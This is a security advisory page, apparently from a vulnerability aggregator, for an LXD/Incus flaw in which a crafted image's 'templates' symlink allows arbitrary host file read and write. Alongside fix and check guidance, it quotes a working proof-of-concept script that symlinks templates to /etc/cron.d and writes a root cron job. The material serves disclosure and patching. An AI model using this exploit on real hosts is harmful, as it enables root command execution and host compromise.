---
id: "GHSA-jpf8-86f3-wp38"
page: "https://infrastack.ai/live/GHSA-jpf8-86f3-wp38"
kind: "vulnerability"
aliases: ["GHSA-jpf8-86f3-wp38"]
title: "LXD has arbitrary file read+write on host via templates/ symlink in malicious image"
severity: "critical"
cvss: 9.9
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/canonical/lxd", "fixed": ["0.0.0-20260203144152-d1c8ba15d160"], "affected": "< 0.0.0-20260203144152-d1c8ba15d160", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["containers", "cwe-73", "linux", "lxd", "package", "self-hosted"]
not_affected_if: ["trusted-images-only"]
published_at: "2026-11-06T18:53:57+00:00"
first_seen_at: "2026-11-06T18:57:10+00:00"
updated_at: "2026-11-06T18:57:58+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-jpf8-86f3-wp38", "first_seen_at": "2026-11-06T18:57:10+00:00"}]
exploit_sources: []
---

# LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Link for people: https://infrastack.ai/live/GHSA-jpf8-86f3-wp38 (this .md is for agents)

A crafted container image containing a top-level templates symlink can make LXD read and write files outside its storage directory on the host. An attacker who can import an image can edit files such as cron jobs and may reach command execution as root.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/canonical/lxd affected < 0.0.0-20260203144152-d1c8ba15d160 fixed 0.0.0-20260203144152-d1c8ba15d160

## How to check

- Check the LXD version with `lxd --version` or `snap list lxd` and compare it with the fixed version.
- Review images imported from sources that are not trusted.

## Fix

- Move to a go module build of `github.com/canonical/lxd` at or after `0.0.0-20260203144152-d1c8ba15d160`.

## Timeline

- 2026-11-06T18:57:10+00:00 ghsa https://github.com/advisories/GHSA-jpf8-86f3-wp38

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-jpf8-86f3-wp38
- [advisory] Maintainer's advisory: github.com https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805
- [fix] Patch: github.com https://github.com/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a

## From the sources

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

### Summary

A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.


### Details

For container images, `internal/server/storage/utils.go` calls
`archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in
`shared/archive/archive.go` excludes device nodes, but it does not
reject a top-level `templates` symlink.

In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.


### PoC

Below, we map the templates directory to `/etc/cron.d` on the host, but
it can be mapped anywhere. We then create a cronjob to run `id` as root.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
```

### Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_